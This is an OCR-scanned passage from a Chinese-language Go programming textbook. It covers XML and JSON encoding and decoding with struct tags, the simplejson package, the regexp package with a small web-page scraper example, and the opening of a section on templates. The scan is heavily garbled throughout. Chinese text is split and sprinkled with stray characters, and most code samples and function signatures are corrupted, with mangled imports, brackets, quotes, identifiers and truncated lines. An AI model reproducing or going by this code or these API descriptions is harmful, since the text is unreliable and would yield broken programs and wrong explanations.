任何 xml 数 据 。 

o 如 果 struct 字 段 后 面 的 tag 定 义 了 ",any"， 它 的 子 元 素 在 不 满足 其 
他 规则 的 时 候 就 会 匹配 到 这 个 字段 。 
o 如 果 某 个 XML 元 素 包含 一 条 或 者 多 条 注释 ， 那 么 这 些 注释 将 被 
累加 到 第 一 个 tag 含 有 "comments" 的 字段 上 ， 这 个 字段 的 类 型 可 能 是 
Dee e 如 果 没 有 这 样 的 字段 存在 ， 那 么 注释 将 会 被 抛弃 。 
详细 讲述 了 如 何 定义 struct 的 tag。 只 要 设置 tag 正 确 ，XML 解 析 
示例 般 简 单 ， LgXMLAelemen le AHIR, 如 上 所 
示 ， 我 们 还 可 以 通过 slice 来 表示 多 个 同 级 元 素 。 








注 : 为 了 正确 解析 ，Go 语 言 的 xml 包 要 求 struct 定 义 中 的 所 有 字段 必 
须 是 可 导出 的 〈 即 首 字 母 大 写 ) 。 





输出 XML 


假如 我 们 不 是 要 解析 如 上 所 示 的 XML 文件 ， 而 是 生成 它 ， 那 么 在 
Go 语言 中 又 该 如 何 实现 呢 ? xml 包 中 提供 了 Marshal 和 MarshalIlndent 两 个 
函数 来 满足 我 们 的 需求 。 这 两 个 函数 主要 的 区 别 是 第 二 个 函数 会 增加 前 
缀 和 缩 进 ， 函 数 的 定义 如 下 。 

func Marshal(v interface{}) ([]byte, error) 

func Marshalindent (v interface{), prefix, indent string) ([|byte, error) 


两 个 函数 中 的 第 一 个 参数 用 来 生成 XML 的 结构 定义 类 型 数据 ， 都 
是 返回 生成 的 XML 数据 流 。 
下 面 我 们 来 看 一 下 如 何 输出 如 上 的 XML 。 


Package main 


import ( 
Yencoding/xm1" 
"imt" 
"os" 


i 


type Servers struct 
XMLName xml.Name `xml:"servers™ 
Version string `aml:"version, attr" 
sve [lserver `xml:"server" 





} 


type server struct ( 
ServerName string “xml: "serverName" 
ServerIp string °xml:"serverIP™” 





} 


func main) ( 





v t= @Servers(Version: "1"} 

v.Svs = append(v.Svs, server("Shanghai_VPN", "127.0.0.1"}) 
v.Svs = append(v.Svs, server("Beijing VPN", "127.0.0.2"}) 
output, err := xml MarshalIndent (v, " ", " ") 

if err != nil ( 





fmt .Printf (verror: $v\n", err) 
上 
os.Stdout .Write([] byte (xml Header) ) 


os. Stdout .Write (output) 


} 
上 面 的 代码 输出 如 下 信 
asm] version="1.0" encoding-"UTF-8"7> 
<server> 
<serverName>Shanghai VPN</serverName> 
<serverIP>127.0.0.1</serverIP> 
cserver> 
<serverName>Beijing_VPN</serverName> 
<serverlP>127.0.0.2</serverIP> 
</server> 
</servers> 、 ea 
和 之 前 定义 的 文件 格式 一 模 一 样 ， 之 所 以 会 有 
os.Stdout.Write([]byte(xml.Header)) 这 旬 代 码 的 出 现 ， 是 因为 
xml.MarshalIndent 或 者 xml.Marshal 输 出 的 信息 都 是 不 带 XML 头 的 ， 为 了 
生成 正确 的 XML 文 件 ， 我 们 使 用 了 XML 包 预定 义 的 Header 变 量 。 
我 们 看 到 Marshal 函 数 接收 的 参数 v 是 interface{} 类 型 的 ， 即 它 可 以 








接受 任意 类 型 的 参数 ， 那 么 xml 包 根据 什么 规则 来 生成 相应 的 XML 文件 
呢 ? 

e@ ”如 果 v 是 array 或 者 slice， 那 么 输出 每 一 个 元 素 ， 类 似 value。 

e 如 果 v 是 指针 ， 那 么 会 Marshal 指 针 指 向 的 内 容 ， 如 果 指 针 为 
空 ， 什 么 都 不 输出 。 

o 如 果 v 是 interface， 那 么 就 处 理 interface 所 包含 的 数据 。 

o 如 果 v 是 其 他 数据 类 型 ， 就 会 输出 这 个 数据 类 型 所 拥有 的 字段 信 


生成 的 XML 文件 中 的 element 的 名 字 又 是 根据 什么 决定 的 呢 ? 元素 
名 按照 如 下 优先 级 从 struct 中 获取 。 

e ”如 果 v 是 struct，tag 中 定义 为 XMLName 的 字段 。 

。 通过 strcut 中 字段 的 tag 来 获取 。 

o 通过 strcut 的 字段 名 用 来 获取 。 

。 ”Marshall 的 类 型 名 称 。 

我 们 应 如 何 设置 struct 中 字段 的 tag 信 息 以 控制 最 终 xml 文 件 的 生成 
呢 ? 

。 XMLName 不 会 被 输出 。 

。 tag 中 含有 "-" 的 字段 不 会 输出 。 

e tag 中 含有 "name,attr"， 会 以 name 作 为 属性 名 ， 字 段 值 作为 值 输 
出 为 这 个 XML 元 素 的 属性 ， 如 上 version 字 段 所 描述 。 

。 tag 中 含有 ",attr"， 会 以 这 个 struct 的 字段 名 作为 属性 名 输出 为 
XML 元 素 的 属性 ， 类 似 上 一 条 ， 只 是 这 个 name 默 认 是 字段 名 。 

。 tag 中 含有 ",chardata"， 输出 为 xml 的 character data， 而 非 
element。 

。 tag 中 含有 ",innerxml"， 将 会 被 原样 输出 ， 而 不 会 进行 常规 的 编 
码 过 程 。 

© tag 中 含有 ",comment"， 将 被 当 作 xml 注 释 来 输出 ， 而 不 会 进行 常 
规 的 编码 过 程 ， 字 段 值 中 不 能 含有 "--" 字 符 串 。 

。 tag 中 含有 "omitempty"， 如 果 该 字段 的 值 为 空 值 ， 那 么 该 字段 就 
不 会 被 输出 到 XML， 空 值 包 括 : false、0、nil 指 针 或 mil 接口 ， 任 何 长 度 
为 0 的 array、slice、map 或 者 string。 

© ”tag 中 含有 "a>b>c"， 那 么 就 会 循环 输出 三 个 元 素 a 包 含 b、b 包 含 
c， 例 如 ， 和 下 代码 就 会 输出， 

















FirstName string ‘xml:"name>first" 
LastName string `xml:"name>last" 


<name> 
<first>Asta</first> 
<last>Xie</last> 


芋 罚 我 们 介绍 了 如 何 使 用 Go 语言 的 xml 包 米 编 解码 XML 文件 ， 重 
要 的 一 点 是 ， 对 XML 的 所 有 操作 都 是 通过 struct tag 来 实现 的 ， 所 以 学 会 
对 struct tag 的 运用 变 得 非常 重要 ， 在 文章 中 我 们 简要 列举 了 如 何 定义 
tage 


7.2 ”JSON 处 理 


JSON (Javascript Object Notation) 是 一 种 轻 量 级 的 数据 交换 语言 ， 
以 文字 为 基础 ， 具 有 自我 描述 性 且 易于 阅读 。 尽 管 JSON 是 Javascript 的 
一 个 子 集 ， 但 JSON 是 独立 于 语言 的 文本 格式 ， 并 且 采 用 了 类 似 于 C 语 言 
家 族 的 一 些 习惯 。 JSON 与 XML 最 大 的 不 同 在 于 XML 是 一 个 完整 的 标记 
语言 ， 而 JSON 不 是 。JSON 由 于 比 XML 更 小 、 更 快 ， 更 易 解 析 ， 以 及 浏 
览 器 的 内 建 快速 解析 支持 ， 使 其 更 适用 于 网 络 数据 传输 领域 。 目 前 我 们 
看 到 很 多 开放 平台 基本 上 都 是 采用 了 JSON 作 为 其 数据 交互 的 接口 。 既 
然 JSON 在 Web 开 发 中 如 此 重要 ， 那 么 Go 语言 对 JSON 的 支持 程度 怎么 样 
呢 ? Go 语言 的 标准 库 已 经 非常 好 地 支持 了 JSON， 可 以 很 容易 对 JSON 数 
据 进行 编 /解码 的 工作 。 

前 面 运 维 的 例 子 用 JSON 来 表示 ， 结果 描述 如 下 。 

:{("serverName" TEETE VPN" es "127.0.0.1"}, ("se 
Beijing VEN", "serverIP":"127.0.0.2" 


下 的 砚 容 将 以 JSON 数 据 为 基础 ， 及 介 绍 Go 语 言 的 JSON 包 对 
JSON 数 据 的 编 / 解 码 。 









解析 JSON 


解析 到 结构 体 

假如 有 了 上 面 的 JSON 串 ， 那 么 我 们 如 何 来 解析 这 个 JSON 串 呢 ? Go 
语言 的 JSON 包 中 有 如 下 函数 。 

func Unmarshal(data []byte, v interface{}) error 
= 通过 这 个 函数 可 以 实现 解析 的 目的 ， 详 细 的 解析 例子 请 看 如 下 代 


package main 


import ( 
"encoding/json” 
stmt" 

) 


type Server struct { 


ServerName string 
ServerIp string 


type Serverslice struct { 
Servers [Server 


func main) { 





fmt. Printin (s) 


通过 上 面 的 示例 代码 中 ， 我 们 首先 定义 了 与 JSON 数 据 对 应 的 结构 
体 ， 数 组 对 应 slice， 字 段 名 对 应 JSON 里 面 的 key， 在 解析 的 时 候 ， 如 何 
将 JSON 数 据 与 struct 字 段 相 匹配 呢 ? 例如 JSON 的 key 是 Foo， 那 么 怎么 找 
对 应 的 字段 呢 ? 

e 首先 查找 tag 含 有 Foo 的 可 导出 的 struct 字 段 〈 首 字母 大 写 ) 。 

。 其 次 查找 字段 名 是 Foo 的 导出 字段 。 

© 最 后 查找 类 似 FOO 或 者 FoO 这 类 除 首 字母 之 外 ， 其 他 大 小 写 不 
敏感 的 导出 字段 。 
赔 明 的 读者 一 定 注意 到 了 这 一 点 ， 能 够 被 赋值 的 字段 必须 是 可 导出 
字段 〈 即 首 字母 大 写 ) 。 同 时 JSON 解 析 的 时 候 只 会 解析 能 找到 的 字 
段 ， 如 果 找 不 到 的 字段 ， 就 会 被 忽略 ， 这 样 的 一 个 好 处 是 ， 当 你 接收 到 
一 个 很 大 的 JSON 数 据 结构 却 只 想 获取 其 中 的 部 分 数据 的 时 候 ， 你 只 需 
将 你 想 要 的 数据 对 应 的 字段 名 大 写 ， 即 可 轻松 解决 这 个 问题 。 
解析 到 interface 
上 面 那 种 解析 方式 是 在 我 们 知晓 被 解析 的 JSON 数 据 结构 的 前 提 下 
ae 如 果 我 们 不 知道 被 解析 的 数据 格式 ， 又 应 该 如 何 来 解析 
呢 ? 











我 们 知道 interface{} 可 以 用 来 存储 任意 数据 类 型 的 对 象 ， 这 种 数据 
结构 正好 用 于 存储 解析 的 未 知 结构 的 JSON 数 据 的 结果 。JSON 包 中 采用 
map[stringjinterface{} 和 []interface{} 结 构 来 存储 任意 的 JSON 对 象 和 数 


组 。Go 语 言 类 型 和 JSON 类 型 的 对 应 关系 如 下 。 

© bool 代表 JSON booleans; 

efloat64 代 表 JSON numbers; 

estring 代 表 JSON strings; 

enil 代 表 JSON null. 

我 们 假设 有 如 下 JSON 数 据 。 

b := [Jbyte(* {"Name": "Wednesday", "Age": 6, "Parents": ["Gomez", "Morticia™]}*) 

如 果 在 我 们 不 知道 结构 的 情况 下 ， 我 们 把 它 解析 到 interface{} 旦 
var 工 interface{} 

rr i= json.Unmarshal (b, £f) 

这 个 时 候 f 里 面 存储 了 一 个 map 类 型 ， 它 们 的 key 是 string， 值 存储 在 
空 的 interface{} 里 。 

f = maplatring]interface{}{ 
jednesday", 





s": [Jinterface(){ 
"Gomez", 
"Morticia", 


r 


那么 如 何 来 访问 这 些 数据 呢 ? 可 通过 断言 的 方式 。 








mim f. (maplatring]interface(}) eam 
通过 断言 之 后 ， 你 就 可 以 通过 如 下 方式 来 访问 里 面 的 数据 了 。 
for k, v i= range m ( 

switch vv := v. (type) ( 


case string: 

fmt .Printin(k, "is string", vv) 
case int: 

fmt .Printin(k, "is int", vv) 
case []interface{}: 

fmt .Printin(k, “is an array:") 

for i, u := range vy { 

fmt .Println (i, u) 

} 
default: 

fmt.Printin(k, "is of a type I don't know how to handle") 
上 


通过 上 面 的 示例 可 以 看 到 ， 通 过 interface{} 与 type assert 的 配合 ， 我 
们 即 可 解析 未 知 结构 的 JSON 数 。 

上 述 解决 方案 是 官方 提供 的 ， 其 实 很 多 时 候 如 果 我 们 通过 类 型 断 
言 ， 操 作 起 来 不 是 很 方便 ， 目 前 Bitly 公 司 开源 了 一 个 叫做 simplejson 的 
包 ， 在 处 理 未 知 结构 体 的 JSON 时 很 方便 ， 详 细 例 子 如 下 。 





"bool": true 


js.Get ("test") Get ("array") Array () 
js.Get ("test") .Get ("int") .Int () 
et ("test") .Get ("string") .Muststrinc 


pr GEDORE, (A EREISoNE E, HMA 
容 请 参考 https://github.com/bitly/go-simplejson。 











生成 JSON 


开发 很 多 应 用 时 ， 最 后 都 要 输出 JSON 数 据 串 ， 那 么 如 何 来 处 理 
呢 ? JSON 包 通过 Marshal 函 数 来 处 理 ， eo 


func Marshal (v interface(}) ([]byte, error 


PERDE E n Ca LADNA RIRES 那么 如 何 来 处 理 
呢 ? 请 看 下 面 的 例子 。 


package main 


import ( 


之 


ding/json" 








) 





type Server struct { 
Server! string 
ServerIP string 





} 


type Serverslice struct { 
Servers []Server 
} 


func main() { 
var s Serverslice 
append(s.Servers, Server{ServerName: "Shanghai VEN", 











serverIB 

g.Servers = append(s.Servers, Server{ServerName: "Beijing VEN", 
Serverl? ) 

b, „Marshal (s) 

if err 


rintln("json err:", err) 


fmt.Printin(string{b}) 


} 

输出 内 容 如 下 。 

{"Servers' ServerName”: "Shanghai_VPN", "ServerIP":"127.0.0.1"},{"Se 
rverName": "Beijing VEN", "ServerIP":"127.0.0.2")]} 

我 们 看 到 ， 下 而 的 答 昌 字段 名 都 是 天 写 的 ， 如 果 你 想 用 小 写 的 怎么 
办 呢 ? 把 结构 体 的 字段 名 改 成 小 写 的 ? JSON 输 出 的 时 候 必 须 
有 导出 的 字段 才 会 被 输出 ， 如 果 修改 字段 名 ， 那 么 就 会 发 现 什么 都 不 会 
输出 ， 所 以 必须 通过 struct tag 定 义 来 实现 。 

type Server struct { 

ServerName string * json:"sexverNane"* 
ServerTP string *json:"serverIP™ 











} 


type serveralice struct { 
Servers []Server ` json:"servers" 


通过 修改 上 面 的 结构 体 定义 ， 输 出 的 JSON 串 就 和 我 们 最 开始 定义 
的 JSON 串 保持 一 致 了 。 

针对 JSON 的 输出 ， 我 们 在 定义 struct tag 的 时 候 需 要 注意 以 下 几 点 。 

e ”如 果 字 段 的 tag 是 "-"， 那 么 这 个 字段 不 会 输出 到 JSON。 


e 如果 tag 中 带 有 自 定义 名 称 ， 那 么 这 个 自 定义 名 称 会 出 现在 
JSON 的 字段 名 中 ， 例 如 上 面 例子 中 的 serverName。 
o ”如果 tag 中 带 有 "omitempty" 选 项 ， 那 么 如 果 该 字段 值 为 空 ， 就 不 
会 输出 到 JSON 串 中 。 
o 如果 字 段 类 型 是 bool、string、int、int64 等 ， 而 tag 中 带 
有 "string" 选 项 ， 那 么 这 个 字段 在 输出 到 JSON 的 时 候 会 把 该 字段 对 应 的 
值 转换 成 JSON 字 符 串 。 
举例 来 说 。 
type Server struct { 
// ID 不 会 导出 到 JSON 中 
ID int *json:"="* 


// ServerName 的 值 会 进行 二 次 ISON 编码 
ServerName string `json:"serverName™ 
ServerName? string © json:"serverName2, string" 


// WR ServerIP 为 室 ， 则 不 输出 到 JSON 申 中 
ServerTP string *json:"serverIP,omitempty™* 
} 


s := Server { 
ID: 
ServerName: “Go "1.0" 
ServerName2: Go "1.0" ` 
ServerIp: ` 

} 

b, _ := json.Marshal(s} 

os. Stdout .Write (b) 

会 输出 以 下 内 容 。 


("serverName": "Go " *,"serverName2":"\"Go \\\"1.0\\\" Aon} 


Marshal 函 数 只 ae Corer ts 在 转换 的 过 
中 ， 我 们 需要 注意 以 下 几 点 。 

© JSON 对 象 只 支持 string 作 为 key， 所 以 要 编码 一 个 nap， 那 么 必 
须 是 map[string]T 这 种 类 型 〈T 是 Go 语言 中 任意 的 类 型 ) 。 

e Channel、complex 和 function 不 能 被 编码 成 JSON。 

。 翌 套 的 数据 不 能 编码 ， 不 然 会 让 JSON 编 码 进入 死 循环 。 

。 指针 在 编码 的 时 候 会 输出 指针 指向 的 内 容 ， 而 空 指针 会 输出 
null. 

我 们 在 本 节 介绍 了 如 何 使 用 Go 语言 的 JSON 标 准 包 来 编 解码 JSON 数 
据 ， 同 时 也 简要 介绍 了 如 何 使 用 第 三 方 包 go-simplejson 在 一 些 情 况 下 简 
化 操作 ， 学 会 并 熟练 运用 它们 将 对 我 们 接 下 来 的 Web 开 发 相当 重要 。 


7.3 ”正则 处 理 


正则 表达 式 是 一 种 进行 模式 匹配 和 文本 操纵 的 复杂 而 又 强大 的 工 
有 具 。 虽 然 正则 表达 式 比 纯粹 的 文本 匹配 效率 低 ， 但 是 它 却 更 灵活 。 按 照 
它 的 语法 规则 ， 随 需 构造 出 的 匹配 模式 几乎 能 够 从 原始 文本 中 筛选 出 任 
何 你 想 要 得 到 的 字符 组 合 。 如 果 你 在 Web 开 发 中 需要 从 一 些 文本 数据 源 
中 获取 数据 ， 那么 你 只 需要 按照 它 的 语法 规则 ， 随 需 构造 出 正确 的 模式 
字符 串 就 能 够 从 原 数 据 源 提取 出 有 意义 的 文本 信息 

Go 语言 通过 regexp 标 准 包 为 正则 表达 式 提供 了 人 fy 方 支持 ， 如 果 你 已 
经 使 用 过 其 他 编程 语言 提供 的 正则 相关 功能 ， 那 么 你 应 该 对 Go 语言 版 
本 的 不 会 太 陌生 ， 但 是 它们 之 间 也 有 一 些小 的 差异 ， 因 为 Go 语言 实现 
的 是 RE2 标 准 ， 除 了 \C， 详 细 的 语法 描述 参考 ; 
http://code.google.com/p/re2/wiki/Syntax 。 

我 们 可 以 使 用 strings 包 对 字符 串 进行 搜索 (Contains, Index) 、 蔡 
换 (Replace) 和 解析 (Split, Join) 等 操作 ， 但 是 这 些 都 是 简单 的 字符 
串 操 作 ， 其 搜索 都 是 针对 大 小 写 敏 感 且 长 度 固 定 的 字符 串 ， 如 果 我 们 需 
要 匹配 可 变 的 字符 串 ， 就 没 办 法 实现 了 ， 当 然 ， 如 果 strings 包 能 解决 你 
的 问题 ， 那 么 就 尽量 使 用 它 来 解决 。 因 为 它们 足够 简单 ， 而 且 性 能 和 可 


读 性 都 会 比 正则 好 。 
你 应 该 还 记得 “表单 验证 ”一 节 的 内 容 中 ， 我 们 已 经 接触 过 正则 处 
ft 是 否 满足 某 些 预 设 的 条 件 。 在 使 用 
， 所 有 的 字符 都 是 UTF-8 编 码 的 。 接 下 来 让 我 们 
深入 地 学 习 Go 语言 中 regexp 包 的 相关 知识 。 


通过 正则 判断 是 否 匹 配 


regexp 包 中 含有 三 个 函数 用 来 判断 是 否 匹 配 ， 如 果 匹 配 ， 则 返回 
true， 否 则 返回 false。 

func Match (partern string, b []byte) (matched bool, error error) 

func MatchReader (pattern string, r io.RuneReader) (matched bool, error 
ate Matehstring(pattern string, s string) (matched bool, error error) 

上 面 三 个 函数 实现 了 同一 个 功能 ， 即 判断 pattern 是 否 和 输入 源 匹 
配 ， 若 匹配 ， 就 返回 tue， 如 果 解 析 正 则 出 错 ， 则 返回 error。 三 个 函数 
的 输入 源 分 别 是 byte slice, RuneReaderfilstring. 

如 果 要 验证 一 个 输入 是 不 是 IP 地 址 ， 应 如 何 判断 ? 请 看 如 下 实现 。 




























funcTsIP(ip string) (b bool) { 
ifm, _ :=regexp.MatchString ("^ [0-9] (1, 3}\\. [0-9] (1, 3)\\. [0-9] (1, 3} 
AN. [0-9] {1,3)8", ip); tm ( 
return false 
} 


return true 


可 以 看 到 ，regexp 的 patem 和 我 们 平常 使 用 的 正则 相同 。 再 来 看 一 
个 例子 ， 当 用 户 输 入 一 个 字符 串 后 ， 我 们 想 知道 是 不 是 一 次 合法 的 输 
As 

func main() { 


if len(os.Args) = 
fmt .Printin ("Usat 





egexp [string]") 


os.Exit (1) 

} else ifm, := regexp.MatchString("*[0-9]+8", os.Args[1]); m { 
fmt. Printin ("数字 ") 

Fetse { 


fmt .Println ("不 是 数字 ") 


上面 的 两 个 小 例子 中 ， 我 们 采用 了 Match (Readerlsting) 来 判断 一 
些 字符 串 是 否 符合 我 们 的 描述 需求 ， 它 们 使 用 起 来 非常 方便 。 


通过 正则 获取 内 容 


Match 模 式 只 能 用 于 对 字符 串 的 判断 ， 无 法 截取 字符 串 的 一 部 分 、 
过 滤 字 符 串 ， 或 者 提取 出 符合 条 件 的 一 批 字符 串 。 如 果 想 要 满足 这 些 需 
R J 需要 使 用 正则 表达 式 的 复杂 模式 。 

我 们 经 常 需要 一 些 疏 虫 程序 ， 下 面 就 以 疏 虫 为 例 说明 如 何 使 用 正则 
来 过 滤 或 截取 抓 取 到 的 数据 。 

















package main 


import ( 
"fnt" 
"io/ioutil™ 
"net/nttp™ 
"regexp" 
"strings" 

) 


func main(} { 

resp, err := http.Get("http://www.baidu.com") 
Gf err H= nil f 

fmt.Printin ("http get error 








i 
defer resp.Body.Close() 
body, err := ioutil.ReadAll(resp.Body) 
if err != nil { 
fmt.Printin ("http read error") 
return 









src 


= string (body) 


/1 将 HTML 标签 全 转换 成 小 写 
re, _ := regexp.Compile("\\<[\\8\\s1#2\\>") 
src = re.ReplaceAllstringFunc(src, strings.ToLower) 


/1 去 除 STYLE 
re, regexp. Compile ("\\<style{\\$\\s]1+2\\</style\\>") 
src = re.Replaceallstring(src, "") 


/1 去 除 SCRIPT 
re, _ = regexp.Compile("\\<script[\\S\\s]+2\\</script\\>") 
sre = re.Replaceallstring(src, "") 


77 去 除 所 有 人 尖 括 号 内 的 HTML 代码 ， 并 换 成 换行 符 
re, = regexp.Compile("\\<[\\S\\s]+2\\>") 
sre = re.Replaceallstring(sre, "\n") 





/1 去 除 连续 的 换行 符 
re, regexp. Compile ("\\s{2,}") 
sre = re-ReplaceAllString(src, "\n") 


fmt. Printin (strings. Trimspace (src) } 


从 这 个 示例 可 以 看 出 ， 使 用 复杂 的 正则 首先 是 Compile， 它 会 解析 
正则 表达 式 是 否 合法 ， 如 果 正 确 ， 那 么 就 会 返回 一 个 Regexp， 然 后 就 可 


以 利用 返回 的 Regexp 在 任意 的 字符 串 上 面 执行 需要 的 操作 。 
解析 正则 表达 式 有 如 下 几 个 方法 。 


func Compile(expr string) (*Regexp, error) 

func CompilePOSIX(expr string) (*Regexp, error) 

func MustCompile(str string) *Regexp 

func MustCompilePOSIX (str string) *Regex: È 

CompilePOSIX 和 Compile 的 不 同 点 ;在 平 前 者 必须 使 用 POSIX 语 法 ， 
它 使 用 最 左 最 长 方式 搜索 ， 而 后 者 则 只 采用 最 左 方式 搜索 (例如 ，[a-z] 
{2,4} 这 样 一 个 正则 表达 式 ， 应 用 于 "aa09aaa88aaaa" 这 个 文本 串 时 ， 
CompilePOSIX 返 回 了 aaaa， 而 Compile 返 回 的 是 aa)。 前 红 有 Must 的 函 
数 表示 ， 在 解析 正则 语法 的 时 候 ， 如 果 匹 配 模式 串 不 满足 正确 的 语法 ， 
则 直接 panic， 而 不 加 Must 的 则 只 是 返回 错误 。 

了 解 了 如 何 新 建 一 个 Regexp 之 后 ， 我 们 再 来 看 一 下 这 个 struct 提 供 
了 哪些 方法 来 辅助 我 们 操作 字符 串 ， 首 先 我 们 来 看 下 面 这 些 用 来 搜索 的 
函数 。 

func (re *Regexp] Find(b [Jbyte) [Jbyte 

func (re *Regexp) Eindhll (b (Jbyte, n int) [] [lbyte 

func (re *Regexp) FindAllindex(b [Jbyte, n int) [] [lint 

func (re *Regexp) Findalistring(s string, n int) []string 

func (re *Regexp) FindAllstringIndex(s string, n int) [J [Jint 

func (re *Regexp) Findalistringsubmatch(s string, n int) [] [] string 

func (re *Regexp] FindAliStringSuomatchindex(s string, n int) [] []int 

func (re *Regexp) Findallsubmetch(b [Jbyte, n int) [][] []byte 

func (re *Regexp) FindAlisubmatchIndex(b [Jbyte, n int) [] [Jint 

func (re *Regexp) Findindex(b []byte) (loc []int) 

func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc [lint] 

func (re *Regexp) FindReadersubmatchindex(r io.RuneReader) [] int 

func (re *Regexp) Finascring(s string) string 

func (re *Regexp) Findstringindex(s string) (loc [Jint) 

func (re *Regexp) FindStringSubmatch(s string) [] string 

func (re *Regexp) Findstringsubmatchindex(s string) [inc 

She Ge Ree Dea is ae 

func (re *Regexp) Findsubmatcnindex(b [Jbyte) [Jint 


ant oe (byte slice. string#lio.RuneReader) 不 Ree 
AOT EEE ERORI 其 他 的 只 是 输入 源 不 一 样 ， 其 功能 
一 梓 的 。 


func (re *Regexp) Find(b [Jbyte) []byte 

















func (re *Regexp) FindAll(b []byte，n int) [] []byte 
func (re *Regexp) FindAllIndex(b []byte, n int) [][Jint 
func (re *Regexp) FindAllSubmatch(b [Jbyte, n int) [| [] []byte 


func (re *Regexp) FindAllSubmatchIndex(b [Jbyte, n int) [] [] int 
func (re *Regexp) FindIndex(b []byte) (loc []int) 

func (re *Regexp) FindSubmatch(b []byte) [] []byte 

func (re *Regexp) FindSubmatchIndex(b []byte) []int 


我 们 来 看 下 面 这 个 例子 如 何 使 用 这 些 函 数 。 


package main 


import ( 
emt 
"regexp" 


) 


func main() ( 
a := "I am learning Go language" 


re, _ i= regexp.Compile("[a-z] (2,4}") 


/7 查找 符合 正则 的 第 一 个 
one := re.Find([]byte{a)) 
fmt.Println("Find:", string(one)) 


/7/ 查 找 符合 正则 的 所 有 slice, n 小 于 0 表示 返回 全 部 符合 的 字符 串 ， 否 则 返回 指定 的 长 度 
all := re.FindAll({]byte(a), -1) 
fmt .Print1n("Findall", all) 


17/ 查找 符合 条 件 的 index 位 置 、 开 始 位 置 和 结束 位 置 
index := re.FindIndex ({]byte(a)) 
fmt.Println("FindIndex", index) 


7/ 查 找 符合 条 件 的 所 有 的 index 位 置 ，n 同上 
allindex := re.FindAllIndex({]byte(a), -1) 
fmt .Printin("FindAllindex", allindex) 





re2, — 





regexp -Compile ("am(.*) lang(.*)") 





7/ 查 找 Submat ch, 返回 数组 , 第 一 个 元 素 是 匹配 的 全 部 元 素 , 第 
第 三 个 是 第 二 个 0) 中 的 
/7 下面 的 输出 中 ， 第 一 个 元 素 是 "am Learning Go language" 
/7 第 二 个 元 素 是 "learning Go "， 注 意 包含 空格 的 输出 
// 第 三 个 元 素 是 "uage" 
submatch re2.FindSubmatch([]byte(a)) 
fmt.Print1n("FindSubmatch", submatch) 
for v range submatch { 

fmt.Println (string (v) ) 


个 元 素 是 第 一 个 人 ) 中 的 ， 











) 
/7 定义 和 上 面 的 FindIndex 一 样 


submatchindex :~ re2.FindSubmatchīndex([]byte (a)) 
fmt .Print1n(submatchindex) 


//BindAl Submat ch, PRIA ARPT 
submatchall := re2.FindAl1Submatch([]byte(a}, -1) 
fmt .Printin(submatchall) 





//FindAl1Submatchindex, 查找 所 有 字 匹 配 的 +ndex 
submatchallindex ;= reZ.FindAllSubmatchIndex({lbyte(a), -1) 
fmt .Print1n(submatchallindex) 


} 

前 面 介绍 过 匹配 函数 ，Regexp 也 定义 了 三 个 函数 ， 它 们 和 同名 的 外 
ELD dt eh ea so 
现 的 。 

func (re *Regexp) Match(b []byte) bool 

func (re *Regexp) MatchReader(r io.RuneReader) bool 

func (re *Regexp) Matchstring(s string) bool 


接 下 来 让 我 们 来 了 解 蔡 换 函 数 是 怎么 操作 的 ? 





(re *Regexp) ReplaceAll [src，Tepl []byte) [lbyte 
(re *Regexp) ReplaceAllfunc(sre []byte, repl func([]byte) [lbyte) 


(re *Regexp) Replacenliziteral(sre, repl []byte] []byte 

(re *Regexp) ReplaceAllLiteralstring(src, repl string) string 
(re *Regexp) ReplaceAllstring(src, repl string) string 

(re *Regexp) ReplaceAllstringFunc(sre string, repl func(string) 


ing 
普 换 函数 在 上 面 抓 网 页 的 例子 中 有 详细 应 用 示例 ， 接 下 来 我 们 
看 一 下 Expand 的 解释 。 

func (re *Regexp) Expand(dst []byte, template []byte, sre [Jbyte, match 
(lint) [lbyte 

func (re *Regexp) ExpandString(dst []byte, template string, src string, 
match [Jint) []byte A $ 

这 个 Expand 到 底 用 来 干什么 呢 ? 请 看 下 面 的 例子 。 

func main() ( 

sre := [Jbyte( 

call hello alice 
hello bob 
call hello eve 









3i 

pat i= regexp.MustCompile( (?m) (cal1)\s+ (?P<cmd>\w+) \s+ (?P<arg>. 
+555) 

res ;= [Jbyte(} 

for _, s := range pat.FindAllSubmatchIndex (src, -1) { 

res = pat.Expand(res, []byte("$cmd('Sarq’)\n"), src, s} 
} 
fmt .Printin (string (res)) 


‘Bit, 我 们 已 经 全 部 介绍 了 Go 语言 的 regexp 包 ， 通 过 对 它 的 主要 函 
数 介 绍 及 演示 ， 相 信 大 家 应 该 能 够 通过 Go 语言 的 正则 包 进 行 一 些 基本 
的 正则 操作 。 


7.4 模板 处 理 
什么 是 模板 


你 一 定 听 说 过 一 种 叫做 MVC 的 设计 模式 ，Model 用 于 处 理 数 据 ， 
View 用 于 展现 结果 ，Controller 用 于 控制 用 户 的 请 求 ， 至 于 View 层 的 处 
理 ， 在 很 多 动态 语言 里 面 都 是 通过 在 静态 HTML 中 插入 动态 语言 生成 的 
数据 ， 例 如 ，JSP 中 通过 插入 <%=.…=9%>，PHP 中 通过 插入 <?php.….?> 来 





实现 。 
图 7.1 可 以 说 明 模 板 的 机 制 。 


Hello, my name i 


Hello, my name is 





图 7.1 模板 机 制图 


Web 应 用 反馈 给 客户 端的 信息 中 的 大 部 分 内 容 是 静态 不 变 的， 而 另 
外 少 部 分 是 根据 用 户 的 请 求 来 动态 生成 的 ， 例 如 ， 要 显示 用 户 的 访问 记 
录 列 表 ， 用 户 之 间 只 有 记录 数据 是 不 同 的 ， 列 表 的 样式 则 是 固定 的 ， 此 
时 采用 模板 可 以 复 用 很 多 静态 代码 。 


Go 语言 模板 使 


在 Go 语言 中 ， 我 们 使 用 template 包 来 进行 模板 处 理 ， 使 用 类 似 
Parse、ParseFile、Execute 等 方法 从 文件 或 者 字符 串 加 载 模板 ， 然 后 执行 
类 似 图 7.1 展 示 的 模板 的 merge 操 作 。 请 看 下 面 的 例子 。 

func handler (w http.Responsewriter, r *http.Request) [ 

t i= template.New(*some template") // 创 建 一 个 模板 
ParseFiles("tmpl/welcome.ntm1", nil) // 解 析 模 板 文件 
GetUser() // 获 取 当 前 用 户 信息 
t.Execute(w, user) // 执 行 模板 的 merger 操作 


通过 这 个 例子 我 们 可 以 看 到 ，Got e Ea 
便 ， 和 其 他 语言 的 模板 处 理 类 似 ， 都 是 先 获取 数据 ， 然 后 演 染 数据 。 
用 如 下 格式 的 


cae 试 代码 ， 我 们 在 接 下 来 的 例子 
e 使 用 Parse 代 蔡 ParseFiles， 因 为 Parse 可 以 直接 测试 一 个 字符 串 ， 
而 不 需要 额外 的 文件 。 
